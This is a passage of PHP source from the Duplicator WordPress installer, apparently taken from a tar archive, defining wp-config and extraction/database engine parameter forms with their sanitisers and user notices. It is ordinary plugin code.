ParamFormWpConfig( PrmMng::PARAM_WP_CONF_IMAGE_EDIT_OVERWRITE, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue( 'IMAGE_EDIT_OVERWRITE', array( 'value' => true, 'inWpConfig' => false ) ) ), array( 'label' => 'IMAGE_EDIT_OVERWRITE:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Create only one set of image edits' ) ); $params[PrmMng::PARAM_WP_CONF_WP_CACHE] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_CACHE, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('WP_CACHE') ), array( 'label' => 'WP_CACHE:', 'checkboxLabel' => 'Keep Enabled' ) ); $params[PrmMng::PARAM_WP_CONF_WPCACHEHOME] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WPCACHEHOME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue("WPCACHEHOME"), 'sanitizeCallback' => function ($value) { $result = SnapUtil::sanitizeNSCharsNewlineTrim($value); // WPCACHEHOME want final slash return SnapIO::safePathTrailingslashit($result); } ), array( // FORM ATTRIBUTES 'label' => 'WPCACHEHOME:', 'subNote' => 'This define is not part of the WordPress core but is a define used by WP Super Cache.' ) ); $params[PrmMng::PARAM_WP_CONF_WP_TEMP_DIR] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_TEMP_DIR, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue("WP_TEMP_DIR"), 'sanitizeCallback' => array('Duplicator\\Installer\\Core\\Params\\Descriptors\\ParamsDescriptors', 'sanitizePath') ), array( // FORM ATTRIBUTES 'label' => 'WP_TEMP_DIR:', //'wrapperClasses' => array('small'), //'subNote' => 'Wordpress admin maximum memory limit (default:256M)' ) ); $params[PrmMng::PARAM_WP_CONF_WP_DEBUG] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_DEBUG, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('WP_DEBUG') ), array( 'label' => 'WP_DEBUG:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Display errors and warnings' ) ); $debugLogValue = $archiveConfig->getWpConfigDefineValue('WP_DEBUG_LOG'); if (is_string($debugLogValue)) { $debugLogValue = empty($debugLogValue) ? false : true; } $params[PrmMng::PARAM_WP_CONF_WP_DEBUG_LOG] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_DEBUG_LOG, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => array( 'value' => $debugLogValue, 'inWpConfig' => $archiveConfig->inWpConfigDefine('WP_DEBUG_LOG') ) ), array( 'label' => 'WP_DEBUG_LOG:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Log errors and warnings', ) ); $params[PrmMng::PARAM_WP_CONF_WP_DISABLE_FATAL_ERROR_HANDLER] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_DISABLE_FATAL_ERROR_HANDLER, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('WP_DISABLE_FATAL_ERROR_HANDLER') ), array( 'label' => 'WP_DISABLE_FATAL_ERROR_HANDLER:', 'checkboxLabel' => 'Disable fatal error handler', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_WP_DEBUG_DISPLAY] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_DEBUG_DISPLAY, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('WP_DEBUG_DISPLAY') ), array( 'label' => 'WP_DEBUG_DISPLAY:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Display errors and warnings' ) ); $params[PrmMng::PARAM_WP_CONF_SCRIPT_DEBUG] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_SCRIPT_DEBUG, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('SCRIPT_DEBUG') ), array( 'label' => 'SCRIPT_DEBUG:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'JavaScript or CSS errors' ) ); $params[PrmMng::PARAM_WP_CONF_CONCATENATE_SCRIPTS] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_CONCATENATE_SCRIPTS, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('CONCATENATE_SCRIPTS', array( 'value' => false, 'inWpConfig' => false )) ), array( 'label' => 'CONCATENATE_SCRIPTS:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Concatenate all JavaScript files into one URL' ) ); $params[PrmMng::PARAM_WP_CONF_SAVEQUERIES] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_SAVEQUERIES, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('SAVEQUERIES') ), array( 'label' => 'SAVEQUERIES:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Save database queries in an array ($wpdb->queries)' ) ); $params[PrmMng::PARAM_WP_CONF_ALTERNATE_WP_CRON] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_ALTERNATE_WP_CRON, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('ALTERNATE_WP_CRON', array( 'value' => false, 'inWpConfig' => false )) ), array( 'label' => 'ALTERNATE_WP_CRON:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Use an alternative Cron with WP' ) ); $params[PrmMng::PARAM_WP_CONF_DISABLE_WP_CRON] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_DISABLE_WP_CRON, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => $archiveConfig->getDefineArrayValue('DISABLE_WP_CRON', array( 'value' => false, 'inWpConfig' => false )) ), array( 'label' => 'DISABLE_WP_CRON:', 'status' => ParamForm::STATUS_INFO_ONLY, 'checkboxLabel' => 'Disable cron entirely' ) ); $params[PrmMng::PARAM_WP_CONF_WP_CRON_LOCK_TIMEOUT] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_CRON_LOCK_TIMEOUT, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_NUMBER, array( 'default' => $archiveConfig->getDefineArrayValue('WP_CRON_LOCK_TIMEOUT', array( 'value' => 60, 'inWpConfig' => false )), 'min_range' => 1 ), array( 'label' => 'WP_CRON_LOCK_TIMEOUT:', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_EMPTY_TRASH_DAYS] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_EMPTY_TRASH_DAYS, ParamForm::TYPE_INT, ParamForm::FORM_TYPE_NUMBER, array( 'default' => $archiveConfig->getDefineArrayValue('EMPTY_TRASH_DAYS', array( 'value' => 30, 'inWpConfig' => false )), 'min_range' => 0 ), array( 'label' => 'EMPTY_TRASH_DAYS:', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_COOKIE_DOMAIN] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_COOKIE_DOMAIN, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue("COOKIE_DOMAIN"), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim') ), array( // FORM ATTRIBUTES 'label' => 'COOKIE_DOMAIN:', 'subNote' => 'Set <a href="http://www.askapache.com/htaccess/apache-speed-subdomains.html" target="_blank">' . 'different domain</a> for cookies.subdomain.example.com' ) ); $params[PrmMng::PARAM_WP_CONF_WP_MEMORY_LIMIT] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_MEMORY_LIMIT, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue('WP_MEMORY_LIMIT'), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => ParamItem::VALIDATE_REGEX_AZ_NUMBER ), array( // FORM ATTRIBUTES 'label' => 'WP_MEMORY_LIMIT:', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_WP_MAX_MEMORY_LIMIT] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_WP_MAX_MEMORY_LIMIT, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( // ITEM ATTRIBUTES 'default' => $archiveConfig->getDefineArrayValue('WP_MAX_MEMORY_LIMIT') ), array( // FORM ATTRIBUTES 'label' => 'WP_MAX_MEMORY_LIMIT:', 'status' => ParamForm::STATUS_INFO_ONLY ) ); $params[PrmMng::PARAM_WP_CONF_MYSQL_CLIENT_FLAGS] = new ParamFormWpConfig( PrmMng::PARAM_WP_CONF_MYSQL_CLIENT_FLAGS, ParamForm::TYPE_ARRAY_INT, ParamForm::FORM_TYPE_SELECT, array( // ITEM ATTRIBUTES 'default' => self::getMysqlClientFlagsDefaultVals(), ), array( // FORM ATTRIBUTES 'label' => 'MYSQL_CLIENT_FLAGS:', 'status' => ParamForm::STATUS_INFO_ONLY, 'options' => self::getMysqlClientFlagsOptions(), 'multiple' => true ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { //UPDATE PATHS AUTOMATICALLY self::setDefaultWpConfigPathValue($params, PrmMng::PARAM_WP_CONF_WP_TEMP_DIR, 'WP_TEMP_DIR'); self::setDefaultWpConfigPathValue($params, PrmMng::PARAM_WP_CONF_WPCACHEHOME, 'WPCACHEHOME'); self::wpConfigPathsNotices(); //UPDATE DOMAINS AUTOMATICALLY self::setDefaultWpConfigDomainValue($params, PrmMng::PARAM_WP_CONF_COOKIE_DOMAIN, "COOKIE_DOMAIN"); self::wpConfigDomainNotices(); } /** * Returns wp counfi default value * * @return array */ protected static function getMysqlClientFlagsDefaultVals() { $result = DUPX_ArchiveConfig::getInstance()->getDefineArrayValue( 'MYSQL_CLIENT_FLAGS', array( 'value' => array(), 'inWpConfig' => false ) ); $result['value'] = array_intersect($result['value'], SnapDB::getMysqlConnectFlagsList(false)); return $result; } /** * Returns the list of options of the mysql real connect flags * * @return int[] */ protected static function getMysqlClientFlagsOptions() { $result = array(); foreach (SnapDB::getMysqlConnectFlagsList() as $flag) { $result[] = new ParamOption(constant($flag), $flag); } return $result; } /** * Tries to replace the old path with the new path for the given wp config define. * If that's not possible returns a notice to the user. * * @param ParamItem[] $params params list * @param string $paramKey param key * @param string $wpConfigKey wp config key * * @return void */ protected static function setDefaultWpConfigPathValue(&$params, $paramKey, $wpConfigKey) { if (!self::wpConfigNeedsUpdate($params, $paramKey, $wpConfigKey)) { return; } $oldMainPath = $params[PrmMng::PARAM_PATH_OLD]->getValue(); $newMainPath = $params[PrmMng::PARAM_PATH_NEW]->getValue(); $wpConfigVal = \DUPX_ArchiveConfig::getInstance()->getDefineArrayValue($wpConfigKey); // TRY TO CHANGE THE VALUE OR RESET if (($wpConfigVal['value'] = \DUPX_ArchiveConfig::getNewSubString($oldMainPath, $newMainPath, $wpConfigVal['value'])) === false) { $wpConfigVal['inWpConfig'] = false; $wpConfigVal['value'] = ''; \DUPX_NOTICE_MANAGER::getInstance()->addNextStepNotice(array( 'shortMsg' => 'WP CONFIG custom paths disabled.', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => "The " . $params[$paramKey]->getLabel() . " path could not be set programmatically and has been disabled<br>\n", 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, self::NOTICE_ID_WP_CONF_PARAM_PATHS_EMPTY); } $params[$paramKey]->setValue($wpConfigVal); } /** * Tries to replace the old domain with the new domain for the given wp config define. * If that's not possible returns a notice to the user. * * @param ParamItem[] $params params list * @param string $paramKey param key * @param string $wpConfigKey wp config key * * @return void */ protected static function setDefaultWpConfigDomainValue(&$params, $paramKey, $wpConfigKey) { if (!self::wpConfigNeedsUpdate($params, $paramKey, $wpConfigKey)) { return; } $wpConfigVal = \DUPX_ArchiveConfig::getInstance()->getDefineArrayValue($wpConfigKey); $parsedUrlNew = parse_url(PrmMng::getInstance()->getValue(PrmMng::PARAM_URL_NEW)); $parsedUrlOld = parse_url(PrmMng::getInstance()->getValue(PrmMng::PARAM_URL_OLD)); if ($wpConfigVal['value'] == $parsedUrlOld['host']) { $wpConfigVal['value'] = $parsedUrlNew['host']; } else { $wpConfigVal['inWpConfig'] = false; $wpConfigVal['value'] = ''; \DUPX_NOTICE_MANAGER::getInstance()->addNextStepNotice(array( 'shortMsg' => 'WP CONFIG domains disabled.', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => "The " . $params[$paramKey]->getLabel() . " domain could not be set programmatically and has been disabled<br>\n", 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, self::NOTICE_ID_WP_CONF_PARAM_DOMAINS_MODIFIED); } $params[$paramKey]->setValue($wpConfigVal); } /** * Return true if wp config key need update * * @param ParamItem[] $params params list * @param string $paramKey param key * @param string $wpConfigKey wp config key * * @return bool */ protected static function wpConfigNeedsUpdate(&$params, $paramKey, $wpConfigKey) { if ( DUPX_InstallerState::isRestoreBackup($params[PrmMng::PARAM_INST_TYPE]->getValue()) ) { return false; } // SKIP IF PARAM IS OVERWRITTEN if ($params[$paramKey]->getStatus() === ParamItem::STATUS_OVERWRITE) { return false; } // SKIP IF EMPTY $wpConfigVal = \DUPX_ArchiveConfig::getInstance()->getDefineArrayValue($wpConfigKey); if (strlen($wpConfigVal['value']) === 0) { return false; } // EMPTY IF DISABLED if ($wpConfigVal['inWpConfig'] == false) { $wpConfigVal['value'] = ''; $params[$paramKey]->setValue($wpConfigVal); return false; } return true; } /** * Set wp config paths notices * * @return void */ protected static function wpConfigPathsNotices() { $noticeManager = \DUPX_NOTICE_MANAGER::getInstance(); /* PREPEND IF EXISTS */ $noticeManager->addNextStepNotice(array( 'shortMsg' => '', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => "It was found that the following config paths were outside of the source site's home path (" . \DUPX_ArchiveConfig::getInstance()->getRealValue("originalPaths")->home . "):<br><br>\n", 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, self::NOTICE_ID_WP_CONF_PARAM_PATHS_EMPTY); /* APPEND IF EXISTS */ $msg = '<br>Keeping config paths that are outside of the home path may cause malfunctions, so these settings have been disabled by default,'; $msg .= ' but you can set them manually if necessary by switching the install mode '; $msg .= 'to "Advanced" and at Step 3 navigating to "Options" > "WP-Config File"'; $noticeManager->addNextStepNotice(array( 'shortMsg' => '', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => $msg, 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND_IF_EXISTS, self::NOTICE_ID_WP_CONF_PARAM_PATHS_EMPTY); $noticeManager->saveNotices(); } /** * Set wp config domain notices * * @return void */ protected static function wpConfigDomainNotices() { $noticeManager = \DUPX_NOTICE_MANAGER::getInstance(); /* PREPEND IF EXISTS */ $noticeManager->addNextStepNotice(array( 'shortMsg' => '', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => "The following config domains were disabled:<br><br>\n", 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, self::NOTICE_ID_WP_CONF_PARAM_DOMAINS_MODIFIED); /* APPEND IF EXISTS */ $msg = '<br>The plugin was unable to automatically replace the domain, so the setting has been disabled by default.'; $msg .= ' Please review them by switching the install mode to "Advanced" and at Step 3 navigating to "Options" > "WP-Config File"'; $noticeManager->addNextStepNotice(array( 'shortMsg' => '', 'level' => \DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => $msg, 'longMsgMode' => \DUPX_NOTICE_ITEM::MSG_MODE_HTML ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND_IF_EXISTS, self::NOTICE_ID_WP_CONF_PARAM_DOMAINS_MODIFIED); $noticeManager->saveNotices(); } /** * Returns default config value for FORCE_SSL_ADMIN depending on current site's settings * * @return array * @throws \Exception */ protected static function getDefaultForceSSLAdminConfig() { $forceAdminSSLConfig = \DUPX_ArchiveConfig::getInstance()->getDefineArrayValue('FORCE_SSL_ADMIN'); if (!\DUPX_U::is_ssl() && $forceAdminSSLConfig['inWpConfig'] === true) { $noticeMng = \DUPX_NOTICE_MANAGER::getInstance(); $noticeMng->addFinalReportNotice( array( 'shortMsg' => "FORCE_SSL_ADMIN was enabled on none SSL", 'level' => \DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => 'It was found that FORCE_SSL_ADMIN is enabled and you are installing on a site without SSL, ' . 'so that config has been disabled.', 'sections' => 'general' ), \DUPX_NOTICE_MANAGER::ADD_UNIQUE, self::NOTICE_ID_WP_CONF_FORCE_SSL_ADMIN ); $noticeMng->saveNotices(); $forceAdminSSLConfig['value'] = false; } return $forceAdminSSLConfig; } } Params/Descriptors/ParamDescEngines.php 0000644 00000045004 15136236440 0014160 0 ustar 00 <?php /** * Engines params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use DUP_Extraction; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use DUPX_InstallerState; use DUPX_ArchiveConfig; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescEngines implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $params[PrmMng::PARAM_ARCHIVE_ACTION] = new ParamForm( PrmMng::PARAM_ARCHIVE_ACTION, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => DUP_Extraction::ACTION_DO_NOTHING, 'acceptValues' => array( DUP_Extraction::ACTION_DO_NOTHING, DUP_Extraction::ACTION_REMOVE_WP_FILES, DUP_Extraction::ACTION_REMOVE_ALL_FILES ) ), array( 'label' => 'Archive Action:', 'status' => function ($paramObj) { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array( new ParamOption(DUP_Extraction::ACTION_DO_NOTHING, 'Extract files over current files'), new ParamOption(DUP_Extraction::ACTION_REMOVE_WP_FILES, 'Remove WordPress core and content and extract (Pro)', ParamOption::OPT_DISABLED), new ParamOption(DUP_Extraction::ACTION_REMOVE_ALL_FILES, 'Remove all files except addon sites and extract (Pro)', ParamOption::OPT_DISABLED), new ParamOption(DUP_Extraction::ACTION_REMOVE_UPLOADS, 'Empty only uploads folder (Pro)', ParamOption::OPT_DISABLED) ), 'wrapperClasses' => array('revalidate-on-change'), 'subNote' => function ($param) { return dupxTplRender('parts/params/archive-action-notes', array( 'currentAction' => $param->getValue() ), false); }, // Temporarly diabled for inital release 1.5 // 'proFlagTitle' => 'Upgrade Features', // 'proFlag' => 'Enhance the install experience with custom extraction modes. // When performing an overwrite install process users can ' // . 'automate and customize that files they need to be installed.' ) ); $params[PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES] = new ParamForm( PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => DUP_Extraction::FILTER_NONE, 'acceptValues' => array(DUP_Extraction::FILTER_NONE) ), array( 'label' => 'Skip Files:', 'status' => ParamForm::STATUS_ENABLED, 'options' => array( new ParamOption(DUP_Extraction::FILTER_NONE, 'Extract all files'), new ParamOption(DUP_Extraction::FILTER_SKIP_WP_CORE, 'Skip extraction of WordPress core files (Pro)', ParamOption::OPT_DISABLED), new ParamOption( DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES, 'Skip extraction of WordPress core files and plugins/themes existing on host (Pro)', ParamOption::OPT_DISABLED ), new ParamOption( DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES, 'Extract only media files and new plugins/themes (Pro)', ParamOption::OPT_DISABLED ) ), 'wrapperClasses' => array('revalidate-on-change'), 'subNote' => dupxTplRender('parts/params/extract-skip-notes', array( 'currentSkipMode' => DUP_Extraction::FILTER_NONE ), false), // Temporarly diabled for inital release 1.5 // 'proFlagTitle' => 'Upgrade Features', // 'proFlag' => 'Exclude plugins and themes from extraction so as not to overwrite existing ones' . // '<ul>' . // '<li>Skip extraction of WP core files</li>' . // '<li>Skip extraction of WP core files & plugins/themes existing on the host</li>' . // '<li>Extract only media files & new plugins/themes</li>' . // '</ul>' ) ); $engineOptions = self::getArchiveEngineOptions(); $params[PrmMng::PARAM_ARCHIVE_ENGINE] = new ParamForm( PrmMng::PARAM_ARCHIVE_ENGINE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => $engineOptions['default'], 'acceptValues' => $engineOptions['acceptValues'], 'sanitizeCallback' => function ($value) { if ( PrmMng::getInstance()->getValue( PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES ) !== DUP_Extraction::FILTER_NONE && $value === DUP_Extraction::ENGINE_ZIP_SHELL ) { return DUP_Extraction::ENGINE_ZIP_CHUNK; } return $value; } ), array( 'label' => 'Extraction Mode:', 'options' => $engineOptions['options'], 'size' => 0, 'subNote' => $engineOptions['subNote'], 'attr' => array( 'onchange' => 'DUPX.onSafeModeSwitch();' ) ) ); $params[PrmMng::PARAM_ZIP_THROTTLING] = new ParamForm( PrmMng::PARAM_ZIP_THROTTLING, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Server Throttling:', 'checkboxLabel' => 'Enable archive extraction throttling', 'status' => function () { if ( PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE) === DUP_Extraction::ENGINE_ZIP || PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE) === DUP_Extraction::ENGINE_ZIP_CHUNK ) { return ParamForm::STATUS_ENABLED; } else { return ParamForm::STATUS_DISABLED; } }, 'subNote' => '* This option is only available with Zip Formats' ) ); $params[PrmMng::PARAM_DB_ACTION] = new ParamForm( PrmMng::PARAM_DB_ACTION, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => 'empty', 'acceptValues' => array( \DUPX_DBInstall::DBACTION_CREATE, \DUPX_DBInstall::DBACTION_EMPTY, \DUPX_DBInstall::DBACTION_REMOVE_ONLY_TABLES, \DUPX_DBInstall::DBACTION_RENAME, \DUPX_DBInstall::DBACTION_MANUAL, \DUPX_DBInstall::DBACTION_ONLY_CONNECT ) ), array( 'label' => 'Action:', 'status' => function ($paramObj) { if ( DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'wrapperClasses' => array('revalidate-on-change'), 'options' => array( new ParamOption(\DUPX_DBInstall::DBACTION_EMPTY, 'Empty Database'), new ParamOption(\DUPX_DBInstall::DBACTION_RENAME, 'Backup Existing Tables'), new ParamOption(\DUPX_DBInstall::DBACTION_ONLY_CONNECT, 'Do Nothing (Advanced)', ParamOption::OPT_HIDDEN), new ParamOption(\DUPX_DBInstall::DBACTION_MANUAL, 'Skip Database Extraction'), new ParamOption(\DUPX_DBInstall::DBACTION_CREATE, 'Create New Database'), new ParamOption(\DUPX_DBInstall::DBACTION_REMOVE_ONLY_TABLES, 'Overwrite Existing Tables (Pro)', ParamOption::OPT_DISABLED), ), // Temporarly diabled for inital release 1.5 // 'proFlagTitle' => 'Upgrade Features', // 'proFlag' => // 'Duplicator Pro offers these additional actions on the database for greater flexibility.' // . '<ul class="pro-tip-flag">' . // '<li>Create New Database</li>' . // '<li>Overwrite Existing Tables</li>' . // '</ul>' . // 'Users can create a new database on supported servers or act only on installation-specific tables without touching ' // . 'others tables. This process is useful if you want to install multiple instances of worpdress in the same database.' ) ); $params[PrmMng::PARAM_DB_ENGINE] = new ParamForm( PrmMng::PARAM_DB_ENGINE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => \DUPX_DBInstall::ENGINE_CHUNK, 'acceptValues' => array( \DUPX_DBInstall::ENGINE_CHUNK, \DUPX_DBInstall::ENGINE_NORMAL )), array( 'label' => 'Processing:', 'size' => 0, 'options' => array( new ParamOption(\DUPX_DBInstall::ENGINE_CHUNK, 'Chunking mode'), new ParamOption(\DUPX_DBInstall::ENGINE_NORMAL, 'Single step') )) ); $params[PrmMng::PARAM_DB_CHUNK] = new ParamItem( PrmMng::PARAM_DB_CHUNK, ParamForm::TYPE_BOOL, array( 'default' => ($params[PrmMng::PARAM_DB_ENGINE]->getValue() === \DUPX_DBInstall::ENGINE_CHUNK) ) ); $params[PrmMng::PARAM_REPLACE_ENGINE] = new ParamItem( PrmMng::PARAM_REPLACE_ENGINE, ParamForm::TYPE_INT, array( 'default' => \DUPX_S3_Funcs::MODE_CHUNK, 'acceptValues' => array( \DUPX_S3_Funcs::MODE_NORMAL, \DUPX_S3_Funcs::MODE_CHUNK, \DUPX_S3_Funcs::MODE_SKIP, )) ); $oldHomePath = DUPX_ArchiveConfig::getInstance()->getRealValue('archivePaths')->home; $params[PrmMng::PARAM_SKIP_PATH_REPLACE] = new ParamForm( PrmMng::PARAM_SKIP_PATH_REPLACE, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => in_array($oldHomePath, array('', '/html')) ), array( 'label' => 'Skip Path Replace:', 'checkboxLabel' => 'Skips the replacement of the source path', 'status' => function (ParamForm $paramObj) { $sourcePath = PrmMng::getInstance()->getValue(PrmMng::PARAM_PATH_OLD); if (strlen($sourcePath) == 0) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } } ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { if ( $params[PrmMng::PARAM_ARCHIVE_ACTION]->getStatus() !== ParamItem::STATUS_OVERWRITE && DUPX_InstallerState::isRestoreBackup($params[PrmMng::PARAM_INST_TYPE]->getValue()) ) { $params[PrmMng::PARAM_ARCHIVE_ACTION]->setValue(DUP_Extraction::ACTION_REMOVE_WP_FILES); } if (DUPX_InstallerState::isRestoreBackup($params[PrmMng::PARAM_INST_TYPE]->getValue())) { $default = \DUPX_S3_Funcs::MODE_SKIP; } elseif ($params[PrmMng::PARAM_DB_ENGINE]->getValue() === \DUPX_DBInstall::ENGINE_CHUNK) { $default = \DUPX_S3_Funcs::MODE_CHUNK; } else { $default = \DUPX_S3_Funcs::MODE_NORMAL; } $params[PrmMng::PARAM_REPLACE_ENGINE]->setValue($default); if ( ($params[PrmMng::PARAM_ARCHIVE_ENGINE]->getValue() === DUP_Extraction::ENGINE_ZIP || $params[PrmMng::PARAM_ARCHIVE_ENGINE]->getValue() === DUP_Extraction::ENGINE_ZIP_CHUNK) && \DUPX_Custom_Host_Manager::getInstance()->isHosting(\DUPX_Custom_Host_Manager::HOST_SITEGROUND) ) { $params[PrmMng::PARAM_ZIP_THROTTLING]->setValue(true); } } /** * Get db chunk engine value * * @return boolean */ public static function getDbChunkFromParams() { return PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_ENGINE) === \DUPX_DBInstall::ENGINE_CHUNK; } /** * Get replace engine mode * * @return integer */ public static function getReplaceEngineModeFromParams() { $paramsManager = PrmMng::getInstance(); if (DUPX_InstallerState::isRestoreBackup()) { return \DUPX_S3_Funcs::MODE_SKIP; } elseif ($paramsManager->getValue(PrmMng::PARAM_DB_ENGINE) === \DUPX_DBInstall::ENGINE_CHUNK) { return \DUPX_S3_Funcs::MODE_CHUNK; } else { return \DUPX_S3_Funcs::MODE_NORMAL; } } /** * Get archive engine options * * @return array */ private static function getArchiveEngineOptions() { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $acceptValues = array(); $subNote = null; if (($manualEnable = \DUPX_Conf_Utils::isManualExtractFilePresent()) === true) { $acceptValues[] = DUP_Extraction::ENGINE_MANUAL; } else { $subNote = <<<SUBNOTEHTML * Option enabled when archive has been pre-extracted <a 